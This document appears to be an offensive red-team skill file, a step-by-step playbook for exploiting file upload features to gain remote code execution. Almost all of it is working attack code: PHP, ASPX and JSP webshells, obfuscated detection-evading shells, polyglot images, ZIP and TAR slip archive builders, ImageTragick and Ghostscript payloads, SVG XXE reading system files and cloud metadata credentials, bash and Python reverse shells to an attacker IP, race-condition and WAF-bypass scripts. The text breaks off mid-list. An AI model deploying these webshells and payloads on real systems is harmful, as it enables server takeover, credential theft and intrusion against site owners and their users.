---
name: rt-exploit-file-upload
description: "File upload exploitation skill. Covers MIME type bypass, double extension tricks, null byte injection, PHP webshell upload, image EXIF injection, ZIP slip attack, and file upload to RCE chains. Works with PHP, ASP.NET, Java, Node.js backends. Includes detection of upload endpoints and validation bypass techniques."
---

# rt-exploit-file-upload — File Upload Exploitation

## 1. Overview

File upload vulnerabilities are among the most impactful web application flaws, frequently leading to Remote Code Execution (RCE), server takeover, and lateral movement. They occur when an application accepts user-supplied files without adequately validating type, content, name, or destination path.

This skill covers the full exploitation chain from discovery to webshell execution, including every major bypass category. It targets PHP, ASP.NET (ASPX), Java (JSP), and Node.js backends and accounts for WAF, content inspection, and storage architecture variations (local disk, CDN, object storage).

### Attack Surface Summary

| Vector | Impact | Difficulty |
|---|---|---|
| Extension bypass (blacklist) | RCE | Low |
| MIME type bypass | RCE | Low |
| Double/triple extension | RCE | Low |
| Null byte injection | RCE | Medium |
| PHP webshell in image EXIF | RCE | Medium |
| ZIP slip (path traversal in archive) | Arbitrary write | Medium |
| ImageMagick / FFmpeg SSRF/RCE | RCE / SSRF | High |
| Polyglot file (valid image + valid PHP) | WAF bypass + RCE | High |
| Upload to web-accessible path chain | RCE | Varies |
| XXE via SVG/XML upload | SSRF / data exfil | Medium |

### RTExit Autodoc Tags

All findings generated by this skill are tagged for the autodoc engine:

```
#finding:file-upload-bypass
#finding:rce-via-upload
#finding:zip-slip
#finding:xxe-svg
#finding:imagemagick-rce
#severity:critical
#severity:high
#cwe:434
```

---

## 2. Skill Levels

### BEGINNER

**Goal:** Identify upload endpoints, test basic extension and MIME bypass, confirm execution.

Required tools: `curl`, `burpsuite` (community), `file`, `python3`

Skills assumed: Basic HTTP knowledge, ability to intercept requests.

### INTERMEDIATE

**Goal:** Bypass content inspection, upload polyglot files, exploit ZIP slip.

Required tools: `exiftool`, `python3`, `ffuf`, `burpsuite pro`

Skills assumed: Regular expressions, basic scripting, understanding of HTTP multipart.

### ADVANCED

**Goal:** Chain upload to RCE through unconventional paths, exploit ImageMagick, bypass WAF.

Required tools: `metasploit`, `imagemagick`, `python3`, `nuclei`, custom scripts

Skills assumed: Server-side languages, binary manipulation, WAF fingerprinting.

### EXPERT

**Goal:** Full exploitation in hardened environments — CSP-restricted storage, object storage misconfigurations, race conditions, deserialization via upload.

Required tools: Custom exploit code, `frida`, `burpsuite pro`, cloud CLI tools

Skills assumed: Source code review, binary exploitation, cloud IAM knowledge.

---

## 3. Step-by-Step Attack Workflow

### Phase 1 — Discovery

**Step 1: Enumerate upload endpoints**

```bash
# Passive discovery from spider/crawl output
grep -Ei "(upload|attach|import|document|avatar|profile|photo|file|media|asset)" urls.txt \
  | grep -Ei "\.(php|aspx|jsp|do|action|api)" \
  | sort -u

# Active fuzzing with ffuf — common upload paths
ffuf -u https://TARGET/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 \
  -e .php,.aspx,.jsp \
  -t 50 \
  -o upload-endpoints.json

# Nuclei upload endpoint detection
nuclei -u https://TARGET -t exposures/files/ -t vulnerabilities/generic/file-upload* -o nuclei-upload.txt

# JavaScript source mining for upload endpoints
curl -s https://TARGET | grep -oE '"[^"]*upload[^"]*"' | tr -d '"'

# Look for multipart form uploads in Burp history (grep target)
grep -i "content-type: multipart/form-data" burp_export.txt
```

**Step 2: Map the upload workflow**

```bash
# Identify the full request cycle
# 1. What parameter holds the file?
# 2. Where does the file land (response body, Location header)?
# 3. Is the URL predictable?
# 4. Does the app rename the file?
# 5. Does the app validate on upload, on access, or both?

# Capture and annotate with curl verbose
curl -v -X POST https://TARGET/upload \
  -F "file=@test.txt" \
  -b "session=YOUR_SESSION" 2>&1 | tee upload-baseline.txt

# Extract upload destination from response
grep -Ei "(url|path|location|href|src)" upload-baseline.txt
```

**Step 3: Baseline — what does the app accept?**

```bash
# Test a benign file first to understand flow
curl -s -X POST https://TARGET/upload \
  -F "file=@image.jpg;type=image/jpeg" \
  -b "session=YOUR_SESSION" | tee baseline-jpg.json

# Record: filename in response? directory? renamed? UUID?
python3 -c "
import json, sys
data = json.load(open('baseline-jpg.json'))
print(json.dumps(data, indent=2))
"
```

---

### Phase 2 — Extension Bypass

**Step 4: Test extension blacklist bypass**

Use the full bypass extension list against the target. Save the list locally:

```bash
cat > /tmp/php-extensions.txt << 'EOF'
.php
.php2
.php3
.php4
.php5
.php6
.php7
.php8
.phtml
.pht
.phar
.phps
.php.jpg
.php%00.jpg
.php\x00.jpg
.php%20
.php....
.PHP
.PhP
.pHp
.Php
.PHp
.pHP
.phP
.shtml
.shtm
.cgi
EOF

# Test each extension
while IFS= read -r ext; do
  filename="shell${ext}"
  resp=$(curl -s -X POST https://TARGET/upload \
    -F "file=@/tmp/test.php;filename=${filename}" \
    -b "session=YOUR_SESSION")
  echo "[${ext}] ${resp}" | head -c 200
done < /tmp/php-extensions.txt
```

**Full extension bypass list by backend:**

```
# PHP
.php .php2 .php3 .php4 .php5 .php6 .php7 .phtml .pht .phar .phps
.PHP .PhP .pHp .Php .PHp .pHP .phP .PHTML .PHAR
.php.jpg .php.png .php.gif .php.bmp
.php%00.jpg .php\x00.jpg .php%2500.jpg
.php.... (Windows trailing dots stripped)
.php   (trailing space — Windows)
.php%20

# ASP/ASPX
.asp .aspx .asa .asax .ascx .ashx .asmx .axd .config .cdx .cer .idc .shtm .shtml .stm .asp;.jpg

# JSP / Java
.jsp .jspx .jsw .jsv .jspf .jtml .wss .do .action

# ColdFusion
.cfm .cfml .cfc .dbm

# Perl
.pl .pm .cgi

# Python
.py .pyc

# Node.js (rare server-side execution)
.js .mjs

# General server-side includes
.shtml .shtm .stm
```

**Step 5: Windows-specific bypass tricks**

```bash
# Trailing dot — Windows strips trailing dots from filenames
curl -s -X POST https://TARGET/upload \
  -F $'file=@shell.php;filename=shell.php.' \
  -b "session=YOUR_SESSION"

# Trailing space — Windows strips trailing spaces
curl -s -X POST https://TARGET/upload \
  -F $'file=@shell.php;filename=shell.php ' \
  -b "session=YOUR_SESSION"

# Alternate Data Streams (rare, IIS)
curl -s -X POST https://TARGET/upload \
  -F "file=@shell.php;filename=shell.php::$DATA" \
  -b "session=YOUR_SESSION"

# Multiple dots
curl -s -X POST https://TARGET/upload \
  -F "file=@shell.php;filename=shell.php..." \
  -b "session=YOUR_SESSION"
```

---

### Phase 3 — MIME Type Bypass

**Step 6: Content-Type header manipulation**

```bash
# The app checks Content-Type header, not file content
# Send PHP file with image MIME type
curl -s -X POST https://TARGET/upload \
  -F "file=@shell.php;type=image/jpeg" \
  -b "session=YOUR_SESSION"

# Full MIME type bypass list to test
for mime in "image/jpeg" "image/png" "image/gif" "image/bmp" "image/webp" \
            "image/svg+xml" "application/octet-stream" "text/plain" \
            "application/pdf" "video/mp4"; do
  echo "[*] Testing MIME: $mime"
  curl -s -X POST https://TARGET/upload \
    -F "file=@shell.php;type=${mime}" \
    -b "session=YOUR_SESSION" | head -c 200
done
```

**Step 7: Magic bytes / file signature bypass**

```bash
# Prepend JPEG magic bytes to PHP payload
python3 << 'EOF'
jpeg_magic = b'\xff\xd8\xff\xe0'
php_payload = b'<?php system($_GET["cmd"]); ?>'
combined = jpeg_magic + b'\n' + php_payload
with open('/tmp/shell_jpeg_magic.php', 'wb') as f:
    f.write(combined)
print("[+] Created shell_jpeg_magic.php with JPEG magic bytes")
EOF

# Prepend GIF magic bytes
python3 << 'EOF'
gif_magic = b'GIF89a'
php_payload = b'\n<?php system($_GET["cmd"]); ?>'
combined = gif_magic + php_payload
with open('/tmp/shell_gif.php', 'wb') as f:
    f.write(combined)
print("[+] Created shell_gif.php with GIF89a magic bytes")
EOF

# Prepend PNG magic bytes
python3 << 'EOF'
png_magic = b'\x89PNG\r\n\x1a\n'
php_payload = b'<?php system($_GET["cmd"]); ?>'
combined = png_magic + php_payload
with open('/tmp/shell_png.php', 'wb') as f:
    f.write(combined)
print("[+] Created shell_png.php with PNG magic bytes")
EOF

# Upload the magic-bytes file with matching MIME and .php extension
curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/shell_gif.php;type=image/gif" \
  -b "session=YOUR_SESSION"
```

---

### Phase 4 — PHP Webshell Templates

**Step 8: Deploy the appropriate webshell**

```bash
# --- Minimal one-liner (for tight character limits) ---
echo '<?php system($_GET[0]);?>' > /tmp/s.php

# --- Standard GET shell ---
cat > /tmp/shell_std.php << 'EOF'
<?php
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    $output = shell_exec($cmd . ' 2>&1');
    echo "<pre>" . htmlspecialchars($output) . "</pre>";
}
?>
EOF

# --- POST shell (avoids GET logs) ---
cat > /tmp/shell_post.php << 'EOF'
<?php
if(isset($_POST['c'])){
    echo '<pre>' . shell_exec($_POST['c'] . ' 2>&1') . '</pre>';
}
?>
EOF

# --- Base64-encoded payload (WAF bypass) ---
cat > /tmp/shell_b64.php << 'EOF'
<?php
$f = base64_decode($_POST['d']);
eval($f);
?>
EOF

# Usage: POST d=c3lzdGVtKCRfR0VUWydjbWQnXSk7 (base64 of system($_GET['cmd']);)

# --- Obfuscated shell (evades signature-based detection) ---
cat > /tmp/shell_obf.php << 'EOF'
<?php
$a='sys'.'tem';
$b=$_GET['x'];
$a($b);
?>
EOF

# --- Variable function obfuscation ---
cat > /tmp/shell_var.php << 'EOF'
<?php
$_="\x73\x79\x73\x74\x65\x6d"; // "system"
$_(${'_GET'}['c']);
?>
EOF

# --- preg_replace /e modifier (PHP < 7) ---
cat > /tmp/shell_preg.php << 'EOF'
<?php preg_replace('/.*/e', $_POST['c'], ''); ?>
EOF

# --- assert() shell ---
cat > /tmp/shell_assert.php << 'EOF'
<?php assert($_GET['c']); ?>
EOF

# --- File manager webshell (full featured) ---
cat > /tmp/shell_fm.php << 'PHPEOF'
<?php
// RTExit Minimal File Manager Shell
error_reporting(0);
$auth = 'rtexit2024'; // change per engagement
if(!isset($_COOKIE['rt']) || $_COOKIE['rt'] !== $auth) {
    setcookie('rt', '', time()-1);
    die(base64_decode('VW5hdXRob3JpemVk'));
}
$root = isset($_POST['root']) ? $_POST['root'] : getcwd();
if(isset($_POST['cmd'])) {
    echo '<pre>' . htmlspecialchars(shell_exec($_POST['cmd'] . ' 2>&1')) . '</pre>';
}
if(isset($_FILES['up'])) {
    move_uploaded_file($_FILES['up']['tmp_name'], $root . '/' . $_FILES['up']['name']);
    echo 'Uploaded: ' . $_FILES['up']['name'];
}
if(isset($_POST['read'])) {
    echo '<pre>' . htmlspecialchars(file_get_contents($_POST['read'])) . '</pre>';
}
if(isset($_POST['write'])) {
    file_put_contents($_POST['write'], $_POST['content']);
    echo 'Written.';
}
echo '<form method="post">CMD:<input name="cmd" size="80"><input type="submit" value="exec"></form>';
echo '<form method="post">READ:<input name="read" size="80"><input type="submit" value="read"></form>';
?>
PHPEOF

echo "[+] Webshell templates created in /tmp/"
ls -la /tmp/shell_*.php
```

**Step 9: ASP.NET webshell templates**

```bash
# Minimal ASPX shell
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
    string cmd = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + cmd);
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        Process p = Process.Start(psi);
        Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd()) + "</pre>");
    }
}
</script>
EOF

# ASP classic
cat > /tmp/shell.asp << 'EOF'
<%
Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If (szCMD <> "") Then
    szTempFile = "C:\" & oFileSys.GetTempName()
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
    Response.Write "<pre>" & oFile.ReadAll & "</pre>"
End If
%>
<form method="POST">
<input name=".CMD" size=70>
<input type="submit" value="Execute">
</form>
EOF

# JSP shell
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while ((line = br.readLine()) != null) sb.append(line).append("\n");
    out.println("<pre>" + sb.toString() + "</pre>");
}
%>
EOF
```

---

### Phase 5 — Null Byte Injection

**Step 10: Null byte filename bypass**

```bash
# Classic null byte — terminates string in C-based validation
# shell.php%00.jpg — PHP sees .jpg for validation, filesystem sees .php

# Python script to send null byte filename
python3 << 'EOF'
import requests

url = "https://TARGET/upload"
cookies = {"session": "YOUR_SESSION"}

# Method 1: URL-encoded null byte
files = {'file': ('shell.php\x00.jpg', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
r = requests.post(url, files=files, cookies=cookies)
print("[null-method1]", r.status_code, r.text[:300])

# Method 2: Double URL-encoded
files = {'file': ('shell.php%2500.jpg', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
r = requests.post(url, files=files, cookies=cookies)
print("[null-method2]", r.status_code, r.text[:300])

# Method 3: In the Content-Disposition header directly via raw request
# (use Burp Repeater for this)
EOF

# Burp-ready Python raw request for null byte
python3 << 'EOF'
import socket, ssl

host = "TARGET"
port = 443
session = "YOUR_SESSION"

# Build multipart manually with null byte in filename
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
filename = "shell.php\x00.jpg"
php_payload = b"<?php system($_GET['cmd']); ?>"

body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
    f"Content-Type: image/jpeg\r\n\r\n"
).encode() + php_payload + f"\r\n--{boundary}--\r\n".encode()

request = (
    f"POST /upload HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Cookie: session={session}\r\n"
    f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
    f"Content-Length: {len(body)}\r\n"
    f"Connection: close\r\n\r\n"
).encode() + body

ctx = ssl.create_default_context()
with socket.create_connection((host, port)) as sock:
    with ctx.wrap_socket(sock, server_hostname=host) as ssock:
        ssock.sendall(request)
        response = ssock.recv(4096)
        print(response.decode(errors='replace'))
EOF
```

---

### Phase 6 — Image EXIF Injection

**Step 11: Embed PHP payload in image EXIF data**

```bash
# Create a valid JPEG with PHP payload in EXIF Comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' /tmp/legit.jpg -o /tmp/exif_shell.jpg

# Verify payload is present
exiftool /tmp/exif_shell.jpg | grep Comment

# Embed in multiple EXIF fields for redundancy
exiftool \
  -Comment='<?php system($_GET["cmd"]); ?>' \
  -Artist='<?php echo shell_exec($_GET["c"]); ?>' \
  -Copyright='<?php passthru($_POST["x"]); ?>' \
  /tmp/legit.jpg -o /tmp/exif_multi.jpg

# Upload with .php extension (combine with extension bypass)
curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/exif_shell.jpg;filename=avatar.php;type=image/jpeg" \
  -b "session=YOUR_SESSION"

# If the app serves images through PHP (readfile/passthru), even .jpg may execute
# Check: does the app include/require the file? Does it process with imagecreatefromjpeg?
# imagecreatefromjpeg() strips EXIF — only works if file is included as PHP
```

**Step 12: Create polyglot image + PHP**

```bash
# Polyglot: valid GIF file that is also valid PHP
python3 << 'EOF'
# GIF89a header is valid PHP comment context if we wrap it properly
payload = b'GIF89a' + b'<?php system($_GET["cmd"]); ?>'
with open('/tmp/polyglot.php.gif', 'wb') as f:
    f.write(payload)

# Also create as .gif for testing if app executes .gif
with open('/tmp/polyglot.gif', 'wb') as f:
    f.write(payload)

print("[+] Polyglot files created")
EOF

# Advanced polyglot: real valid JPEG with PHP payload appended
python3 << 'EOF'
with open('/tmp/real_image.jpg', 'rb') as f:
    jpeg_data = f.read()

# Append PHP after JPEG end-of-image marker (FFD9)
php_payload = b'\n<?php system($_GET["cmd"]); ?>'
polyglot = jpeg_data + php_payload

with open('/tmp/polyglot_real.php', 'wb') as f:
    f.write(polyglot)

print(f"[+] Real polyglot JPEG+PHP created: {len(polyglot)} bytes")
EOF

# Verify it's still a valid image
file /tmp/polyglot_real.php
identify /tmp/polyglot_real.php 2>/dev/null || echo "ImageMagick not available"
```

---

### Phase 7 — ZIP Slip (Path Traversal via Archive)

**Step 13: Create malicious ZIP with path traversal**

```bash
# ZIP slip: archive contains file with ../ path that escapes extraction dir
python3 << 'EOF'
import zipfile, os

# Target paths to try (Linux/Mac)
targets_linux = [
    '../../../var/www/html/shell.php',
    '../../../srv/http/shell.php',
    '../../webroot/shell.php',
    '../uploads/shell.php',
    '../public/shell.php',
    '../web/shell.php',
    '../www/shell.php',
    '../../html/shell.php',
]

# Windows targets
targets_windows = [
    '..\\..\\inetpub\\wwwroot\\shell.aspx',
    '..\\..\\xampp\\htdocs\\shell.php',
    '..\\..\\wamp\\www\\shell.php',
]

php_shell = b'<?php system($_GET["cmd"]); ?>'
aspx_shell = b'<%@ Page Language="VB" %><% Response.Write(CreateObject("WScript.Shell").Exec(Request("c")).StdOut.ReadAll()) %>'

# Create ZIP with multiple traversal attempts
with zipfile.ZipFile('/tmp/zipslip.zip', 'w') as zf:
    for path in targets_linux:
        zf.writestr(zipfile.ZipInfo(path), php_shell)
    for path in targets_windows:
        zf.writestr(zipfile.ZipInfo(path), aspx_shell)
    # Also write a legit file to avoid suspicion
    zf.writestr('readme.txt', 'Legitimate archive contents')

print("[+] Created /tmp/zipslip.zip with path traversal entries:")
with zipfile.ZipFile('/tmp/zipslip.zip', 'r') as zf:
    for name in zf.namelist():
        print(f"  {name}")
EOF

# Create targeted ZIP slip for specific path
python3 << 'EOF'
import zipfile

target_path = "../../var/www/html/uploads/shell.php"  # Adjust per recon
php_shell = b'<?php system($_GET["cmd"]); ?>'

with zipfile.ZipFile('/tmp/zipslip_targeted.zip', 'w') as zf:
    info = zipfile.ZipInfo(target_path)
    zf.writestr(info, php_shell)

print(f"[+] Targeted ZIP slip: {target_path}")
EOF

# Upload the ZIP
curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/zipslip.zip;type=application/zip" \
  -b "session=YOUR_SESSION"

# If app extracts and lists files, test if shell landed
curl -s "https://TARGET/shell.php?cmd=id"
curl -s "https://TARGET/uploads/shell.php?cmd=id"
```

**Step 14: TAR slip (same concept, TAR archives)**

```bash
python3 << 'EOF'
import tarfile, io

php_shell = b'<?php system($_GET["cmd"]); ?>'
target = "../../var/www/html/shell.php"

with tarfile.open('/tmp/tarslip.tar.gz', 'w:gz') as tf:
    info = tarfile.TarInfo(name=target)
    info.size = len(php_shell)
    tf.addfile(info, io.BytesIO(php_shell))

print(f"[+] TAR slip archive created: {target}")
EOF

curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/tarslip.tar.gz;type=application/gzip" \
  -b "session=YOUR_SESSION"
```

---

### Phase 8 — ImageMagick Exploitation

**Step 15: ImageMagick SSRF via MVG/SVG (CVE-2016-3714 — ImageTragick)**

```bash
# Check if target uses ImageMagick (look for convert/mogrify in errors, headers)
# ImageTragick payloads — still relevant on unpatched systems

# SSRF via HTTP request
cat > /tmp/imagetragick_ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/log?host=TARGET)'
pop graphic-context
EOF

# RCE via delegate
cat > /tmp/imagetragick_rce.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/"|id > /tmp/rtexit_pwned")'
pop graphic-context
EOF

# As SVG
cat > /tmp/imagetragick.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://attacker.com/log?ssrf=1" x="0" y="0" height="480px" width="640px"/>
</svg>
EOF

# Upload
curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/imagetragick_ssrf.mvg;type=image/png;filename=exploit.png" \
  -b "session=YOUR_SESSION"

# Check attacker.com access logs for callback
```

**Step 16: ImageMagick ghostscript RCE (CVE-2018-16509)**

```bash
# Ghostscript delegate RCE
cat > /tmp/gs_rce.eps << 'EOF'
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id>/tmp/rtexit_rce_proof) currentdevice putdeviceprops
EOF

curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/gs_rce.eps;type=image/eps;filename=image.eps" \
  -b "session=YOUR_SESSION"
```

**Step 17: SVG XXE / SSRF**

```bash
# XXE via SVG upload — extract /etc/passwd
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>
EOF

# XXE SSRF to internal network
cat > /tmp/xxe_ssrf.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&ssrf;</text>
</svg>
EOF

curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/xxe.svg;type=image/svg+xml" \
  -b "session=YOUR_SESSION" -o /tmp/svg_response.txt

# If response contains the SVG text field with file contents:
grep -A5 "<text" /tmp/svg_response.txt
```

---

### Phase 9 — Upload to Webshell Execution Chain

**Step 18: Locate and access the uploaded shell**

```bash
# Strategy 1: URL is returned in response
SHELL_URL=$(curl -s -X POST https://TARGET/upload \
  -F "file=@/tmp/shell_std.php;filename=shell.php" \
  -b "session=YOUR_SESSION" | python3 -c "
import sys, json, re
data = sys.stdin.read()
try:
    j = json.loads(data)
    # Common response keys
    for key in ['url', 'path', 'file', 'filename', 'location', 'src', 'href']:
        if key in j:
            print(j[key]); break
except:
    # Try regex
    urls = re.findall(r'https?://[^\s\"\'<>]+', data)
    paths = re.findall(r'/[a-z0-9_/.-]+\.(php|aspx|jsp)', data, re.I)
    for u in urls: print(u)
    for p in paths: print(p)
")
echo "[+] Shell URL: $SHELL_URL"

# Strategy 2: Predictable path based on reconnaissance
for path in "/uploads/" "/files/" "/media/" "/assets/" "/tmp/" "/public/uploads/"; do
  echo "[*] Trying: https://TARGET${path}shell.php"
  curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}shell.php"
  echo ""
done

# Strategy 3: UUID/hash filename — brute is infeasible; check response body carefully
python3 << 'EOF'
import requests, re, json

url = "https://TARGET/upload"
cookies = {"session": "YOUR_SESSION"}
files = {'file': ('shell.php', open('/tmp/shell_std.php', 'rb'), 'image/jpeg')}
r = requests.post(url, files=files, cookies=cookies)

print("Status:", r.status_code)
print("Headers:", dict(r.headers))
try:
    data = r.json()
    print("JSON:", json.dumps(data, indent=2))
except:
    print("Body:", r.text[:1000])

# Extract any path
paths = re.findall(r'["\'](/[^"\']+\.(php|aspx|jsp|gif|jpg|png))["\']', r.text, re.I)
for p in paths:
    print("[PATH]", p[0])
EOF
```

**Step 19: Execute commands via uploaded shell**

```bash
# Basic execution test
SHELL_URL="https://TARGET/uploads/shell.php"

curl -s "${SHELL_URL}?cmd=id"
curl -s "${SHELL_URL}?cmd=whoami"
curl -s "${SHELL_URL}?cmd=uname+-a"
curl -s "${SHELL_URL}?cmd=cat+/etc/passwd"

# POST-based shell
curl -s -X POST "${SHELL_URL}" -d "c=id"
curl -s -X POST "${SHELL_URL}" -d "c=cat /etc/shadow"

# Escalate to reverse shell
ATTACKER_IP="10.10.10.10"
ATTACKER_PORT="4444"

# Start listener
nc -lvnp $ATTACKER_PORT &

# Trigger reverse shell via webshell
REVSHELL="bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1"
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${REVSHELL}'))")
curl -s "${SHELL_URL}?cmd=${ENCODED}"

# Alternative: Python reverse shell
curl -s "${SHELL_URL}" --data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${ATTACKER_IP}\",${ATTACKER_PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
```

---

### Phase 10 — Race Condition Upload

**Step 20: Race condition — file exists briefly before validation deletes it**

```bash
# Some apps: upload -> save to disk -> validate -> delete if invalid
# Window between save and delete can be exploited

python3 << 'EOF'
import threading
import requests
import time

url_upload = "https://TARGET/upload"
url_shell = "https://TARGET/uploads/shell.php"
cookies = {"session": "YOUR_SESSION"}
php_payload = b'<?php system($_GET["cmd"]); ?>'

hit_count = [0]
found = [False]

def upload_thread():
    while not found[0]:
        files = {'file': ('shell.php', php_payload, 'image/jpeg')}
        try:
            requests.post(url_upload, files=files, cookies=cookies, timeout=5)
        except:
            pass

def check_thread():
    while not found[0]:
        try:
            r = requests.get(url_shell + "?cmd=id", timeout=2)
            if r.status_code == 200 and ("uid=" in r.text or "root" in r.text):
                found[0] = True
                hit_count[0] += 1
                print(f"\n[!!!] SHELL EXECUTED: {r.text[:200]}")
        except:
            pass

# Start 10 upload threads and 5 checker threads
threads = []
for _ in range(10):
    t = threading.Thread(target=upload_thread, daemon=True)
    threads.append(t)
    t.start()

for _ in range(5):
    t = threading.Thread(target=check_thread, daemon=True)
    threads.append(t)
    t.start()

print("[*] Race condition attack running... press Ctrl+C to stop")
try:
    while not found[0]:
        time.sleep(0.5)
        print(".", end="", flush=True)
except KeyboardInterrupt:
    pass

print(f"\n[+] Completed. Hits: {hit_count[0]}")
EOF
```

---

## 4. WAF Bypass Techniques

### Content-Type Manipulation

```bash
# Swap Content-Type to pass WAF signature check
# WAF expects: multipart/form-data
# Send: multipart/form-data with extra whitespace or params

curl -s -X POST https://TARGET/upload \
  -H "Content-Type: multipart/form-data ; boundary=BOUNDARY" \
  --data-binary $'--BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php system($_GET["cmd"]); ?>\r\n--BOUNDARY--' \
  -b "session=YOUR_SESSION"
```

### Chunked Transfer Encoding Bypass

```bash
# Some WAFs don't reconstruct chunked bodies
python3 << 'EOF'
import socket, ssl, time

host = "TARGET"
port = 443

php_payload = b"<?php system($_GET['cmd']); ?>"
boundary = b"----RTExitBoundary"

part1 = (
    b"--" + boundary + b"\r\n"
    b'Content-Disposition: form-data; name="file"; filename="shell.php"\r\n'
    b"Content-Type: image/jpeg\r\n\r\n"
)
part2 = php_payload
part3 = b"\r\n--" + boundary + b"--\r\n"

def to_chunk(data):
    return f"{len(data):x}\r\n".encode() + data + b"\r\n"

body_chunks = to_chunk(part1) + to_chunk(part2[:5]) + to_chunk(part2[5:]) + to_chunk(part3) + b"0\r\n\r\n"

headers = (
    f"POST /upload HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Cookie: session=YOUR_SESSION\r\n"
    f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
    f"Transfer-Encoding: chunked\r\n"
    f"Connection: close\r\n\r\n"
).encode()

ctx = ssl.create_default_context()
with socket.create_connection((host, port)) as sock:
    with ctx.wrap_socket(sock, server_hostname=host) as ssock:
        ssock.sendall(headers + body_chunks)
        resp = b""
        while True:
            chunk = ssock.recv(4096)
            if not chunk:
                break
            resp += chunk
        print(resp.decode(errors="replace")[:500])
EOF
```

### Filename Encoding Bypass

```bash
# Unicode normalization — server may normalize FULLWIDTH LATIN SMALL LETTER P
python3 << 'EOF'
import requests

url = "https://TARGET/upload"
cookies = {"session": "YOUR_SESSION"}

# Fullwidth characters: ｐｈｐ = ｐｈｐ
filenames = [
    "shell.ｐｈｐ",           # ｐｈｐ
    "shell.pHp",
    "shell.php5",
    "shell.php%0a",
    "shell.php​",                    # zero-width space
    "shell.php﻿",                    # BOM
    "shell.phtml",
    "shell.php;.jpg",                     # semicolon trick (IIS)
    ".php",                               # leading dot only
]

php_payload = b"<?php system($_GET['cmd']); ?>"

for fname in filenames:
    files = {'file': (fname, php_payload, 'image/jpeg')}
    try:
        r = requests.post(url, files=files, cookies=cookies, timeout=10)
        print(f"[{fname!r}] {r.status_code} {r.text[:150]}")
    except Exception as e:
        print(f"[{fname!r}] ERROR: {e}")
EOF
```

### Content Obfuscation

```bash
# Obfuscate PHP so WAF signature doesn't match
python3 << 'EOF'
payloads = [
    # Hex encoding
    '<?php $f="\x73\x79\x73\x74\x65\x6d";$f($_GET["c"]); ?>',
    
    # Variable concatenation
    '<?php $a="sy"."st"."em";$a($_GET["c"]); ?>',
    
    # Reflection-style
    '<?php call_user_func("system",$_GET["c"]); ?>',
    
    # Base64 + eval
    '<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjJ10pOw==")); ?>',
    
    # Backtick operator
    '<?php echo `{$_GET["c"]}`; ?>',
    
    # preg_replace e-flag (PHP5)
